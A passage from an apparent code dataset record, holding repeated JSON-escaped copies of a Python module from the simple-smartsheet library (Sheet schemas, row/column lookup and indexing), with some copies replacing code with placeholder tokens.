->Optional[RowT]:\n \"\"\"Returns Row object by row number or ID\n\n Either row_num or row_id must be provided\n\n Args:\n row_num: row number\n row_id: row id\n filter: a dictionary with column title to value\n mappings in the same order as index was built. Index must be unique.\n\n Returns:\n Row object\n \"\"\"\n if row_num is not None:\n return self._row_num_to_row.get(row_num)\n elif row_id is not None:\n return self._row_id_to_row.get(row_id)\n elif filter is not None:\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if not unique:\n raise exceptions.SmartsheetIndexNotUnique(\n f'Index {columns} is non-unique and lookup will potentially return multiple rows, use get_rows method instead'\n )\n index = cast(Dict[Tuple[Any, ...], RowT], index_dict['index'])\n return index[query]\n else:\n raise ValueError(\n 'Either row_num or row_id argument should be provided')\n\n def get_rows(self, filter: Dict[str, Any]) ->List[RowT]:\n \"\"\"Returns Row objects by index query\n\n Args:\n filter: a dictionary or ordered dictionary with column title to value\n mappings in the same order as index was built. Index must be non-unique.\n\n Returns:\n Row object\n \"\"\"\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if unique:\n unique_index = cast(Dict[Tuple[Any, ...], RowT], index_dict[\n 'index'])\n result = unique_index.get(query)\n if result is not None:\n return [result]\n else:\n return []\n else:\n non_unique_index = cast(Dict[Tuple[Any, ...], List[RowT]],\n index_dict['index'])\n return non_unique_index.get(query, [])\n\n def get_column(self, column_title: Optional[str]=None, column_id:\n Optional[int]=None) ->ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n 'Either column_title or column_id argument should be provided')\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\nif TYPE_CHECKING:\n try:\n import pandas as pd\n except ImportError:\n pass\n<assignment token>\n\n\nclass UserSettingsSchema(Schema):\n critical_path_enabled = fields.Bool(data_key='criticalPathEnabled')\n display_summary_tasks = fields.Bool(data_key='displaySummaryTasks')\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass UserSettings(Object):\n critical_path_enabled: bool\n display_summary_tasks: bool\n\n\nclass UserPermissionsSchema(Schema):\n summary_permissions = fields.Str(data_key='summaryPermissions')\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass UserPermissions(Object):\n summary_permissions: str\n\n\nclass WorkspaceSchema(Schema):\n id = fields.Int()\n name = fields.Str()\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Workspace(Object):\n id: int\n name: str\n\n\nclass SheetSchema(CoreSchema):\n \"\"\"Marshmallow Schema for Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n \"\"\"\n id = fields.Int()\n name = fields.Str()\n access_level = fields.Str(data_key='accessLevel')\n permalink = fields.Str()\n favorite = fields.Bool()\n created_at = fields.DateTime(data_key='createdAt')\n modified_at = fields.DateTime(data_key='modifiedAt')\n version = fields.Int()\n total_row_count = fields.Int(data_key='totalRowCount')\n effective_attachment_options = fields.List(fields.Str(), data_key=\n 'effectiveAttachmentOptions')\n gantt_enabled = fields.Bool(data_key='ganttEnabled')\n read_only = fields.Bool(data_key='readOnly')\n dependencies_enabled = fields.Bool(data_key='dependenciesEnabled')\n resource_management_enabled = fields.Bool(data_key=\n 'resourceManagementEnabled')\n cell_image_upload_enabled = fields.Bool(data_key='cellImageUploadEnabled')\n user_settings = fields.Nested(UserSettingsSchema, data_key='userSettings')\n user_permissions = fields.Nested(UserPermissionsSchema, data_key=\n 'userPermissions')\n has_summary_fields = fields.Bool(data_key='hasSummaryFields')\n is_multi_picklist_enabled = fields.Bool(data_key='isMultiPicklistEnabled')\n columns = fields.List(fields.Nested(ColumnSchema))\n rows = fields.List(fields.Nested(RowSchema))\n workspace = fields.Nested(WorkspaceSchema)\n\n\n class Meta:\n unknown = utils.get_unknown_field_handling(config.STRICT_VALIDATION)\n ordered = True\n\n @pre_load\n def update_context(self, data, many: bool, **kwargs):\n self.context['column_id_to_type'] = {}\n return data\n\n\n<assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n \"\"\"Represents Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n Extra attributes:\n indexes: contains all built indices\n \"\"\"\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n\n def __attrs_post_init__(self) ->None:\n self._update_column_lookup()\n self._update_row_cell_lookup()\n\n def _update_column_lookup(self) ->None:\n self._column_title_to_column.clear()\n self._column_id_to_column.clear()\n for column in self.columns:\n column_id = column._id\n if column_id is None:\n continue\n self._column_id_to_column[column_id] = column\n column_title = column.title\n if column_title is None:\n continue\n if column_title in self._column_title_to_column:\n logger.info(\n 'Column with the title %s is already present in the index',\n column_title)\n self._column_title_to_column[column_title] = column\n\n def _update_row_cell_lookup(self) ->None:\n self._row_num_to_row.clear()\n self._row_id_to_row.clear()\n for row in self.rows:\n if row.num:\n self._row_num_to_row[row.num] = row\n if row.id:\n self._row_id_to_row[row.id] = row\n row._update_cell_lookup(self)\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n\n def get_row(self, row_num: Optional[int]=None, row_id: Optional[int]=\n None, filter: Optional[Dict[str, Any]]=None) ->Optional[RowT]:\n \"\"\"Returns Row object by row number or ID\n\n Either row_num or row_id must be provided\n\n Args:\n row_num: row number\n row_id: row id\n filter: a dictionary with column title to value\n mappings in the same order as index was built. Index must be unique.\n\n Returns:\n Row object\n \"\"\"\n if row_num is not None:\n return self._row_num_to_row.get(row_num)\n elif row_id is not None:\n return self._row_id_to_row.get(row_id)\n elif filter is not None:\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if not unique:\n raise exceptions.SmartsheetIndexNotUnique(\n f'Index {columns} is non-unique and lookup will potentially return multiple rows, use get_rows method instead'\n )\n index = cast(Dict[Tuple[Any, ...], RowT], index_dict['index'])\n return index[query]\n else:\n raise ValueError(\n 'Either row_num or row_id argument should be provided')\n\n def get_rows(self, filter: Dict[str, Any]) ->List[RowT]:\n \"\"\"Returns Row objects by index query\n\n Args:\n filter: a dictionary or ordered dictionary with column title to value\n mappings in the same order as index was built. Index must be non-unique.\n\n Returns:\n Row object\n \"\"\"\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if unique:\n unique_index = cast(Dict[Tuple[Any, ...], RowT], index_dict[\n 'index'])\n result = unique_index.get(query)\n if result is not None:\n return [result]\n else:\n return []\n else:\n non_unique_index = cast(Dict[Tuple[Any, ...], List[RowT]],\n index_dict['index'])\n return non_unique_index.get(query, [])\n\n def get_column(self, column_title: Optional[str]=None, column_id:\n Optional[int]=None) ->ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n 'Either column_title or column_id argument should be provided')\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n\n\nclass UserSettingsSchema(Schema):\n critical_path_enabled = fields.Bool(data_key='criticalPathEnabled')\n display_summary_tasks = fields.Bool(data_key='displaySummaryTasks')\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass UserSettings(Object):\n critical_path_enabled: bool\n display_summary_tasks: bool\n\n\nclass UserPermissionsSchema(Schema):\n summary_permissions = fields.Str(data_key='summaryPermissions')\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass UserPermissions(Object):\n summary_permissions: str\n\n\nclass WorkspaceSchema(Schema):\n id = fields.Int()\n name = fields.Str()\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Workspace(Object):\n id: int\n name: str\n\n\nclass SheetSchema(CoreSchema):\n \"\"\"Marshmallow Schema for Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n \"\"\"\n id = fields.Int()\n name = fields.Str()\n access_level = fields.Str(data_key='accessLevel')\n permalink = fields.Str()\n favorite = fields.Bool()\n created_at = fields.DateTime(data_key='createdAt')\n modified_at = fields.DateTime(data_key='modifiedAt')\n version = fields.Int()\n total_row_count = fields.Int(data_key='totalRowCount')\n effective_attachment_options = fields.List(fields.Str(), data_key=\n 'effectiveAttachmentOptions')\n gantt_enabled = fields.Bool(data_key='ganttEnabled')\n read_only = fields.Bool(data_key='readOnly')\n dependencies_enabled = fields.Bool(data_key='dependenciesEnabled')\n resource_management_enabled = fields.Bool(data_key=\n 'resourceManagementEnabled')\n cell_image_upload_enabled = fields.Bool(data_key='cellImageUploadEnabled')\n user_settings = fields.Nested(UserSettingsSchema, data_key='userSettings')\n user_permissions = fields.Nested(UserPermissionsSchema, data_key=\n 'userPermissions')\n has_summary_fields = fields.Bool(data_key='hasSummaryFields')\n is_multi_picklist_enabled = fields.Bool(data_key='isMultiPicklistEnabled')\n columns = fields.List(fields.Nested(ColumnSchema))\n rows = fields.List(fields.Nested(RowSchema))\n workspace = fields.Nested(WorkspaceSchema)\n\n\n class Meta:\n unknown = utils.get_unknown_field_handling(config.STRICT_VALIDATION)\n ordered = True\n\n @pre_load\n def update_context(self, data, many: bool, **kwargs):\n self.context['column_id_to_type'] = {}\n return data\n\n\n<assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n \"\"\"Represents Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n Extra attributes:\n indexes: contains all built indices\n \"\"\"\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n\n def __attrs_post_init__(self) ->None:\n self._update_column_lookup()\n self._update_row_cell_lookup()\n\n def _update_column_lookup(self) ->None:\n self._column_title_to_column.clear()\n self._column_id_to_column.clear()\n for column in self.columns:\n column_id = column._id\n if column_id is None:\n continue\n self._column_id_to_column[column_id] = column\n column_title = column.title\n if column_title is None:\n continue\n if column_title in self._column_title_to_column:\n logger.info(\n 'Column with the title %s is already present in the index',\n column_title)\n self._column_title_to_column[column_title] = column\n\n def _update_row_cell_lookup(self) ->None:\n self._row_num_to_row.clear()\n self._row_id_to_row.clear()\n for row in self.rows:\n if row.num:\n self._row_num_to_row[row.num] = row\n if row.id:\n self._row_id_to_row[row.id] = row\n row._update_cell_lookup(self)\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n\n def get_row(self, row_num: Optional[int]=None, row_id: Optional[int]=\n None, filter: Optional[Dict[str, Any]]=None) ->Optional[RowT]:\n \"\"\"Returns Row object by row number or ID\n\n Either row_num or row_id must be provided\n\n Args:\n row_num: row number\n row_id: row id\n filter: a dictionary with column title to value\n mappings in the same order as index was built. Index must be unique.\n\n Returns:\n Row object\n \"\"\"\n if row_num is not None:\n return self._row_num_to_row.get(row_num)\n elif row_id is not None:\n return self._row_id_to_row.get(row_id)\n elif filter is not None:\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if not unique:\n raise exceptions.SmartsheetIndexNotUnique(\n f'Index {columns} is non-unique and lookup will potentially return multiple rows, use get_rows method instead'\n )\n index = cast(Dict[Tuple[Any, ...], RowT], index_dict['index'])\n return index[query]\n else:\n raise ValueError(\n 'Either row_num or row_id argument should be provided')\n\n def get_rows(self, filter: Dict[str, Any]) ->List[RowT]:\n \"\"\"Returns Row objects by index query\n\n Args:\n filter: a dictionary or ordered dictionary with column title to value\n mappings in the same order as index was built. Index must be non-unique.\n\n Returns:\n Row object\n \"\"\"\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if unique:\n unique_index = cast(Dict[Tuple[Any, ...], RowT], index_dict[\n 'index'])\n result = unique_index.get(query)\n if result is not None:\n return [result]\n else:\n return []\n else:\n non_unique_index = cast(Dict[Tuple[Any, ...], List[RowT]],\n index_dict['index'])\n return non_unique_index.get(query, [])\n\n def get_column(self, column_title: Optional[str]=None, column_id:\n Optional[int]=None) ->ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n 'Either column_title or column_id argument should be provided')\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n\n\nclass UserSettingsSchema(Schema):\n <assignment token>\n <assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass UserSettings(Object):\n critical_path_enabled: bool\n display_summary_tasks: bool\n\n\nclass UserPermissionsSchema(Schema):\n summary_permissions = fields.Str(data_key='summaryPermissions')\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass UserPermissions(Object):\n summary_permissions: str\n\n\nclass WorkspaceSchema(Schema):\n id = fields.Int()\n name = fields.Str()\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Workspace(Object):\n id: int\n name: str\n\n\nclass SheetSchema(CoreSchema):\n \"\"\"Marshmallow Schema for Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n \"\"\"\n id = fields.Int()\n name = fields.Str()\n access_level = fields.Str(data_key='accessLevel')\n permalink = fields.Str()\n favorite = fields.Bool()\n created_at = fields.DateTime(data_key='createdAt')\n modified_at = fields.DateTime(data_key='modifiedAt')\n version = fields.Int()\n total_row_count = fields.Int(data_key='totalRowCount')\n effective_attachment_options = fields.List(fields.Str(), data_key=\n 'effectiveAttachmentOptions')\n gantt_enabled = fields.Bool(data_key='ganttEnabled')\n read_only = fields.Bool(data_key='readOnly')\n dependencies_enabled = fields.Bool(data_key='dependenciesEnabled')\n resource_management_enabled = fields.Bool(data_key=\n 'resourceManagementEnabled')\n cell_image_upload_enabled = fields.Bool(data_key='cellImageUploadEnabled')\n user_settings = fields.Nested(UserSettingsSchema, data_key='userSettings')\n user_permissions = fields.Nested(UserPermissionsSchema, data_key=\n 'userPermissions')\n has_summary_fields = fields.Bool(data_key='hasSummaryFields')\n is_multi_picklist_enabled = fields.Bool(data_key='isMultiPicklistEnabled')\n columns = fields.List(fields.Nested(ColumnSchema))\n rows = fields.List(fields.Nested(RowSchema))\n workspace = fields.Nested(WorkspaceSchema)\n\n\n class Meta:\n unknown = utils.get_unknown_field_handling(config.STRICT_VALIDATION)\n ordered = True\n\n @pre_load\n def update_context(self, data, many: bool, **kwargs):\n self.context['column_id_to_type'] = {}\n return data\n\n\n<assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n \"\"\"Represents Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n Extra attributes:\n indexes: contains all built indices\n \"\"\"\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n\n def __attrs_post_init__(self) ->None:\n self._update_column_lookup()\n self._update_row_cell_lookup()\n\n def _update_column_lookup(self) ->None:\n self._column_title_to_column.clear()\n self._column_id_to_column.clear()\n for column in self.columns:\n column_id = column._id\n if column_id is None:\n continue\n self._column_id_to_column[column_id] = column\n column_title = column.title\n if column_title is None:\n continue\n if column_title in self._column_title_to_column:\n logger.info(\n 'Column with the title %s is already present in the index',\n column_title)\n self._column_title_to_column[column_title] = column\n\n def _update_row_cell_lookup(self) ->None:\n self._row_num_to_row.clear()\n self._row_id_to_row.clear()\n for row in self.rows:\n if row.num:\n self._row_num_to_row[row.num] = row\n if row.id:\n self._row_id_to_row[row.id] = row\n row._update_cell_lookup(self)\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n\n def get_row(self, row_num: Optional[int]=None, row_id: Optional[int]=\n None, filter: Optional[Dict[str, Any]]=None) ->Optional[RowT]:\n \"\"\"Returns Row object by row number or ID\n\n Either row_num or row_id must be provided\n\n Args:\n row_num: row number\n row_id: row id\n filter: a dictionary with column title to value\n mappings in the same order as index was built. Index must be unique.\n\n Returns:\n Row object\n \"\"\"\n if row_num is not None:\n return self._row_num_to_row.get(row_num)\n elif row_id is not None:\n return self._row_id_to_row.get(row_id)\n elif filter is not None:\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if not unique:\n raise exceptions.SmartsheetIndexNotUnique(\n f'Index {columns} is non-unique and lookup will potentially return multiple rows, use get_rows method instead'\n )\n index = cast(Dict[Tuple[Any, ...], RowT], index_dict['index'])\n return index[query]\n else:\n raise ValueError(\n 'Either row_num or row_id argument should be provided')\n\n def get_rows(self, filter: Dict[str, Any]) ->List[RowT]:\n \"\"\"Returns Row objects by index query\n\n Args:\n filter: a dictionary or ordered dictionary with column title to value\n mappings in the same order as index was built. Index must be non-unique.\n\n Returns:\n Row object\n \"\"\"\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if unique:\n unique_index = cast(Dict[Tuple[Any, ...], RowT], index_dict[\n 'index'])\n result = unique_index.get(query)\n if result is not None:\n return [result]\n else:\n return []\n else:\n non_unique_index = cast(Dict[Tuple[Any, ...], List[RowT]],\n index_dict['index'])\n return non_unique_index.get(query, [])\n\n def get_column(self, column_title: Optional[str]=None, column_id:\n Optional[int]=None) ->ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n 'Either column_title or column_id argument should be provided')\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, 